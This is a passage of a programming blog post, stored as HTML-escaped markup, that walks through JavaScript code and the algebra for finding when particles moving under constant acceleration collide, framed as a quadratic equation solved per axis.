    &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;let&lt;/span&gt; j = i + &lt;span class="hljs-number"&gt;1&lt;/span&gt;; j &amp;lt; input[i].&lt;span class="hljs-property"&gt;length&lt;/span&gt;; j++) {
        &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; t = &lt;span class="hljs-title function_"&gt;collisionTime&lt;/span&gt;(input[i], input[j]);

        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (t !== &lt;span class="hljs-literal"&gt;null&lt;/span&gt;) {
            &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!collisions[t]) {
                collisions[t] = [];
            }

            collisions[t].&lt;span class="hljs-title function_"&gt;push&lt;/span&gt;([i, j]);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I've used the index of each particle in the input array as its ID for
convenience. The snippet grabs all pairs and uses the function &lt;code&gt;collisionTime&lt;/code&gt;,
which returns either an integer (time of their first collision from &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/mrow&gt;&lt;/math&gt;), or
&lt;code&gt;null&lt;/code&gt; if they never collide. The &lt;code&gt;collisions&lt;/code&gt; array is indexed by time step,
and populated with arrays of collisions. I'll come back to &lt;code&gt;collisionTime&lt;/code&gt;
later, because that's where interesting things happen.&lt;/p&gt;
&lt;p&gt;Next I create a set containing the IDs of all particles.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; particles = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;(&lt;span class="hljs-title class_"&gt;Array&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;from&lt;/span&gt;({ &lt;span class="hljs-attr"&gt;length&lt;/span&gt;: input.&lt;span class="hljs-property"&gt;length&lt;/span&gt; }, &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;v, i&lt;/span&gt;) =&amp;gt;&lt;/span&gt; i));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;See &lt;a href="/blog/tip-arrayfrom"&gt;my &lt;code&gt;Array.from&lt;/code&gt; tip&lt;/a&gt; for a partial explanation of this, and the
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set"&gt;MDN article on &lt;code&gt;Set&lt;/code&gt;&lt;/a&gt; for the rest.&lt;/p&gt;
&lt;p&gt;The rest is looping over collision times to discover which collisions are valid
(both particles have not yet collided) and remove the particles which collide
from the particles set. The size of the set after all collisions have been
checked is the number of remaining particles, which is the goal of this problem.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; collisionsAtTime &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; collisions) {
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!collisionsAtTime) {
        &lt;span class="hljs-keyword"&gt;continue&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; toDelete = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;();

    &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; [a, b] &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; collisionsAtTime) {
        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (particles.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(a) &amp;amp;&amp;amp; particles.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(b)) {
            toDelete.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(a);
            toDelete.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(b);
        }
    }

    &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; index &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; toDelete) {
        particles.&lt;span class="hljs-title function_"&gt;delete&lt;/span&gt;(index);
    }
}

&lt;span class="hljs-variable language_"&gt;console&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;log&lt;/span&gt;(particles.&lt;span class="hljs-property"&gt;size&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I don't care about the time of each set of collisions; I only care about the
order. Since &lt;code&gt;collisions&lt;/code&gt; is a sparse array (indexed by time step), I do have to
check for &lt;code&gt;undefined&lt;/code&gt; elements and &lt;code&gt;continue&lt;/code&gt; to skip those.&lt;/p&gt;
&lt;p&gt;I've modelled all collisions as pairs, so a collision between three or more
particles will look like multiple collisions of pairs at the same time. In order
to properly count these, particle IDs to be removed are held in the &lt;code&gt;toDelete&lt;/code&gt;
set and removed after all collisions at a given time step have been checked.&lt;/p&gt;
&lt;p&gt;Let's go back to the function &lt;code&gt;collisionTime&lt;/code&gt;. For a given pair of particle
objects, it determines when their first collision is beginning at &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/mrow&gt;&lt;/math&gt;. Here's
a naïve implementation:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-comment"&gt;// Calculates the Manhatten distance between two particles.&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;manhatten&lt;/span&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Math&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;abs&lt;/span&gt;(a[&lt;span class="hljs-number"&gt;0&lt;/span&gt;] - b[&lt;span class="hljs-number"&gt;0&lt;/span&gt;]) + &lt;span class="hljs-title class_"&gt;Math&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;abs&lt;/span&gt;(a[&lt;span class="hljs-number"&gt;1&lt;/span&gt;] - b[&lt;span class="hljs-number"&gt;1&lt;/span&gt;]) + &lt;span class="hljs-title class_"&gt;Math&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;abs&lt;/span&gt;(a[&lt;span class="hljs-number"&gt;2&lt;/span&gt;] - b[&lt;span class="hljs-number"&gt;2&lt;/span&gt;]);
}

&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;vectorAdd&lt;/span&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; [a[&lt;span class="hljs-number"&gt;0&lt;/span&gt;] + b[&lt;span class="hljs-number"&gt;0&lt;/span&gt;], a[&lt;span class="hljs-number"&gt;1&lt;/span&gt;] + b[&lt;span class="hljs-number"&gt;1&lt;/span&gt;], a[&lt;span class="hljs-number"&gt;2&lt;/span&gt;] + b[&lt;span class="hljs-number"&gt;2&lt;/span&gt;]];
}

&lt;span class="hljs-comment"&gt;// Returns a new particle which represents the evolution of a given particle by&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// one time step.&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;tick&lt;/span&gt;(&lt;span class="hljs-params"&gt;particle&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; a = particle.&lt;span class="hljs-property"&gt;a&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;slice&lt;/span&gt;();
    &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; v = &lt;span class="hljs-title function_"&gt;vectorAdd&lt;/span&gt;(particle.&lt;span class="hljs-property"&gt;v&lt;/span&gt;, a);
    &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; p = &lt;span class="hljs-title function_"&gt;vectorAdd&lt;/span&gt;(particle.&lt;span class="hljs-property"&gt;p&lt;/span&gt;, v);

    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; { p, v, a };
}

&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;collisionTime&lt;/span&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; nextD = &lt;span class="hljs-title function_"&gt;manhatten&lt;/span&gt;(a.&lt;span class="hljs-property"&gt;p&lt;/span&gt;, b.&lt;span class="hljs-property"&gt;p&lt;/span&gt;);

    &lt;span class="hljs-comment"&gt;// Trivial case in which particles are initially in the same place.&lt;/span&gt;
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (nextD === &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
        &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; t = &lt;span class="hljs-number"&gt;0&lt;/span&gt;;
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; d;
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; v;
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; nextV = &lt;span class="hljs-title function_"&gt;manhatten&lt;/span&gt;(a.&lt;span class="hljs-property"&gt;v&lt;/span&gt;, b.&lt;span class="hljs-property"&gt;v&lt;/span&gt;);
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; particle0 = a;
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; particle1 = b;

    &lt;span class="hljs-keyword"&gt;do&lt;/span&gt; {
        d = nextD;
        v = nextV;
        particle0 = &lt;span class="hljs-title function_"&gt;tick&lt;/span&gt;(particle0);
        particle1 = &lt;span class="hljs-title function_"&gt;tick&lt;/span&gt;(particle1);
        t++;
        nextD = &lt;span class="hljs-title function_"&gt;manhatten&lt;/span&gt;(particle0.&lt;span class="hljs-property"&gt;p&lt;/span&gt;, particle1.&lt;span class="hljs-property"&gt;p&lt;/span&gt;);

        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (nextD === &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
            &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; t;
        }

        nextV = &lt;span class="hljs-title function_"&gt;manhatten&lt;/span&gt;(particle0.&lt;span class="hljs-property"&gt;v&lt;/span&gt;, particle1.&lt;span class="hljs-property"&gt;v&lt;/span&gt;);

        &lt;span class="hljs-comment"&gt;// Continue while the particles are moving together, or failing that,&lt;/span&gt;
        &lt;span class="hljs-comment"&gt;// the rate at which they&amp;#x27;re moving apart is slowing (indicating that&lt;/span&gt;
        &lt;span class="hljs-comment"&gt;// they will move toward each other in the future).&lt;/span&gt;
    } &lt;span class="hljs-keyword"&gt;while&lt;/span&gt; (nextD &amp;lt; d || nextV &amp;lt; v);

    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;null&lt;/span&gt;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This implementation takes a pair of particles, and evolves both while either
they are approaching each other, or accelerating toward each other. If the two
particles are at zero distance during the evolution, they have collided. It
works, but it's slow.&lt;/p&gt;
&lt;p&gt;All I really need is the location of each particle at a given time. Since the
particles move under a very simple set of rules, I &lt;em&gt;should&lt;/em&gt; be able to predict
where a particle will be at any time without needing to resort to loops. If I
can predict the location of two particles, I can calculate the relative location
of one particle with respect to another, and ultimately I can solve an equation
for which that location is the same (zero distance).&lt;/p&gt;
&lt;p&gt;First I have to predict the location of a particle though. We are told that at
each time, the acceleration vector is added to the velocity vector, and then the
updated velocity vector is added to the position vector. The position of a
particle is thus (in one dimension, where zeros denote initial values):&lt;/p&gt;
&lt;math display="block" id="equation-1" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mrow&gt;&lt;munderover&gt;&lt;mo movablelimits="false"&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/munderover&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;p_t = p_0 + v_0 t + a\sum_{n=0}^t n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;That sum can be swapped out for an expression (high schoolers will know this but
I, with the full weight of two degrees in physics, had forgotten and had to look
it up). This is equivalent:&lt;/p&gt;
&lt;math display="block" id="equation-2" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo fence="true" form="prefix" stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo fence="true" form="postfix" stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;p_t = p_0 + v_0 t + a\frac{(t + 1)t}{2}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;Armed with this equation, I need to calculate the difference in position
between two particles:&lt;/p&gt;
&lt;math display="block" id="equation-3" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo fence="true" form="prefix" stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo fence="true" form="postfix" stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;\Delta p_t = \Delta p_0 + \Delta v_0 t + \Delta a\frac{(t + 1)t}{2}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;Where the delta signifies a difference (the above is the equation of one
particle subtracted from the equation for a another particle). The solutions for
&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/math&gt; I want are when the left hand side (difference in position at time step &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/math&gt;)
is zero. To avoid a division and retain integers as long as possible, I multiply
both sides by two and rewrite slightly to collect powers of &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/math&gt;.&lt;/p&gt;
&lt;math display="block" id="equation-4" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;msup&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mrow&gt;&lt;mo fence="true" form="prefix" stretchy="true"&gt;(&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mo fence="true" form="postfix" stretchy="true"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;0 = \Delta a t^2 + \left(2\Delta v_0 + \Delta a\right) t + 2\Delta p_0&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;This is a &lt;a href="https://en.wikipedia.org/wiki/Quadratic_equation"&gt;quadratic equation&lt;/a&gt;! When the acceleration is zero this collapses
down to a linear equation with the solution:&lt;/p&gt;
&lt;math display="block" id="equation-5" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo form="prefix" stretchy="false"&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;t = -\frac{\Delta p_0}{\Delta v_0}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;When acceleration is non-zero, I have to solve a quadratic equation:&lt;/p&gt;
&lt;math display="block" id="equation-6" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mo form="prefix" lspace="0em" rspace="0em" stretchy="false"&gt;−&lt;/mo&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;mo&gt;±&lt;/mo&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;msup&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding="application/x-tex"&gt;t = \frac{-b\pm\sqrt{b^2-4ac}}{2a}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;where&lt;/p&gt;
&lt;math display="block" id="equation-7" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;semantics&gt;&lt;mtable displaystyle="true"&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/mrow&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/mrow&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mrow&gt;&lt;mi mathvariant="normal"&gt;Δ&lt;/mi&gt;&lt;mspace&gt;&lt;/mspace&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;/mtable&gt;&lt;annotation encoding="application/x-tex"&gt;\begin{align*}
a &amp;amp;= \Delta a \\
b &amp;amp;= 2\Delta v_0 + \Delta a \\
c &amp;amp;= 2\Delta p_0
\end{align*}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;p&gt;I'm interested in solutions which are &lt;a href="https://en.wikipedia.org/wiki/Natural_number"&gt;natural numbers&lt;/a&gt; (real positive
integers). To get natural number solutions to quadratic equations, I wrote these
functions:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;isNaturalNumber&lt;/span&gt;(&lt;span class="hljs-params"&gt;num&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; num &amp;gt;&amp;gt;&amp;gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt; === num;
}

&lt;span class="hljs-comment"&gt;// Provides only solutions which are natural numbers.&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;solveQuadratic&lt;/span&gt;(&lt;span class="hljs-params"&gt;a, b, c&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (a === &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; solution = -c / b;

    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-title function_"&gt;isNaturalNumber&lt;/span&gt;(solution) ? [solution] : [];
  }

  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; rootDiscriminant = &lt;span class="hljs-title class_"&gt;Math&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;sqrt&lt;/span&gt;(b * b - &lt;span class="hljs-number"&gt;4&lt;/span&gt; * a * c);

  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; [
    (-b + rootDiscriminant) / (&lt;span class="hljs-number"&gt;2&lt;/span&gt; * a),
    (-b - rootDiscriminant) / (&lt;span class="hljs-number"&gt;2&lt;/span&gt; * a)
  ].&lt;span class="hljs-title function_"&gt;filter&lt;/span&gt;(isNaturalNumber);
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;isNaturalNumber&lt;/code&gt; uses the right bit shift operator. This is a
trick to get an integer out of a number. Positive numbers will be floored,
negative numbers will overflow (become large positive integers), and &lt;code&gt;NaN&lt;/code&gt; will
become zero. Only positive integers will pass the strict equality check.
&lt;code&gt;solveQuadratic&lt;/code&gt; itself encodes the solution to both the linear case
(acceleration of zero) and the quadratic case. JavaScript is on our side here
with how it represents numbers.&lt;/p&gt;
&lt;p&gt;This solution is in one dimension. For collisions in three dimensions, this
equation must be solved for each, and only when all three dimensions have a
solution which is the same can I say that the two particles are projected to
collide. At last, here is the improved implementation of &lt;code&gt;collisionTime&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;collisionTime&lt;/span&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;let&lt;/span&gt; commonSolutions;

    &lt;span class="hljs-comment"&gt;// Calculate the solutions for each axis and initialise or whittle down&lt;/span&gt;
    &lt;span class="hljs-comment"&gt;// commonSolutions.&lt;/span&gt;
    &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;let&lt;/span&gt; i = &lt;span class="hljs-number"&gt;0&lt;/span&gt;; i &amp;lt; &lt;span class="hljs-number"&gt;3&lt;/span&gt;; i++) {
        &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; dp = a.&lt;span class="hljs-property"&gt;p&lt;/span&gt;[i] - b.&lt;span class="hljs-property"&gt;p&lt;/span&gt;[i];
        &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; dv = a.&lt;span class="hljs-property"&gt;v&lt;/span&gt;[i] - b.&lt;span class="hljs-property"&gt;v&lt;/span&gt;[i];
        &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; da = a.&lt;span class="hljs-property"&gt;a&lt;/span&gt;[i] - b.&lt;span class="hljs-property"&gt;a&lt;/span&gt;[i];

        &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; axisSolutions = &lt;span class="hljs-title function_"&gt;solveQuadratic&lt;/span&gt;(da, &lt;span class="hljs-number"&gt;2&lt;/span&gt; * dv + da, &lt;span class="hljs-number"&gt;2&lt;/span&gt; * dp);

        &lt;span class="hljs-comment"&gt;// Most of the time there are no solutions, so this is a good&lt;/span&gt;
        &lt;span class="hljs-comment"&gt;// optimisation.&lt;/span&gt;
        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (axisSolutions.&lt;span class="hljs-property"&gt;length&lt;/span&gt; === &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
